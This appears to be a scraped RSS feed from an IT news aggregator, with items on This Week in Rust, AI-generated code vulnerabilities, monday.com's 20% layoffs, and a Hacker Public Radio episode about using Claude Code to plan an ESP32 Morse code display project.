<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
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<title><![CDATA[The AI code vulnerabilities that grow with your app]]></title>
<description><![CDATA[Theori built 28 apps with AI coding agents and scanned each one through its pentesting platform. Five models did the building, split between Anthropic and OpenAI, across apps written from a spec, thrown together from a casual prompt, and rewritten from an aging PHP codebase. The team went in expe...]]></description>
<link>https://tsecurity.de/de/3688038/it-security-nachrichten/the-ai-code-vulnerabilities-that-grow-with-your-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688038/it-security-nachrichten/the-ai-code-vulnerabilities-that-grow-with-your-app/</guid>
<pubDate>Thu, 23 Jul 2026 07:16:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Theori built 28 apps with AI coding agents and scanned each one through its pentesting platform. Five models did the building, split between Anthropic and OpenAI, across apps written from a spec, thrown together from a casual prompt, and rewritten from an aging PHP codebase. The team went in expecting injection everywhere. SQL injection, cross-site scripting, the bugs that fill security tutorials. Those barely showed up. The models reached for prepared statements and ORMs on … <a href="https://www.helpnetsecurity.com/2026/07/23/report-ai-code-vulnerabilities/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/report-ai-code-vulnerabilities/">The AI code vulnerabilities that grow with your app</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Building a defense in depth strategy for sensitive data]]></title>
<description><![CDATA[In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning…
Read more →
The post Building a defense ...]]></description>
<link>https://tsecurity.de/de/3688035/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688035/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</guid>
<pubDate>Thu, 23 Jul 2026 07:16:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/building-a-defense-in-depth-strategy-for-sensitive-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/building-a-defense-in-depth-strategy-for-sensitive-data/">Building a defense in depth strategy for sensitive data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI code vulnerabilities that grow with your app]]></title>
<description><![CDATA[Theori built 28 apps with AI coding agents and scanned each one through its pentesting platform. Five models did the building, split between Anthropic and OpenAI, across apps written from a spec, thrown together from a casual prompt, and rewritten…
Read more →
The post The AI code vulnerabilities...]]></description>
<link>https://tsecurity.de/de/3688026/it-security-nachrichten/the-ai-code-vulnerabilities-that-grow-with-your-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688026/it-security-nachrichten/the-ai-code-vulnerabilities-that-grow-with-your-app/</guid>
<pubDate>Thu, 23 Jul 2026 07:12:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Theori built 28 apps with AI coding agents and scanned each one through its pentesting platform. Five models did the building, split between Anthropic and OpenAI, across apps written from a spec, thrown together from a casual prompt, and rewritten…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-ai-code-vulnerabilities-that-grow-with-your-app/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-ai-code-vulnerabilities-that-grow-with-your-app/">The AI code vulnerabilities that grow with your app</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a defense in depth strategy for sensitive data]]></title>
<description><![CDATA[In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning on DLP, leaves gaps that attackers exploi...]]></description>
<link>https://tsecurity.de/de/3687933/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687933/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning on DLP, leaves gaps that attackers exploit by finding the seams between layers. Venkata walks through four layers that work together across the data life cycle. Classification labels fields such as Social Security numbers and … <a href="https://www.helpnetsecurity.com/2026/07/23/defense-in-depth-strategy-video/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/defense-in-depth-strategy-video/">Building a defense in depth strategy for sensitive data</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Drive with Halo on Waze]]></title>
<description><![CDATA[Building on a partnership that began in 2021, Waze is once again teaming up with Halo to celebrate the launch of Halo: Campaign Evolved, with a refreshed Halo experience…]]></description>
<link>https://tsecurity.de/de/3687864/it-nachrichten/drive-with-halo-on-waze/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687864/it-nachrichten/drive-with-halo-on-waze/</guid>
<pubDate>Thu, 23 Jul 2026 04:07:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/Halo-Keyvisual_Horizontal.max-600x600.format-webp.webp">Building on a partnership that began in 2021, Waze is once again teaming up with Halo to celebrate the launch of Halo: Campaign Evolved, with a refreshed Halo experience…]]></content:encoded>
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<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 02:50:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

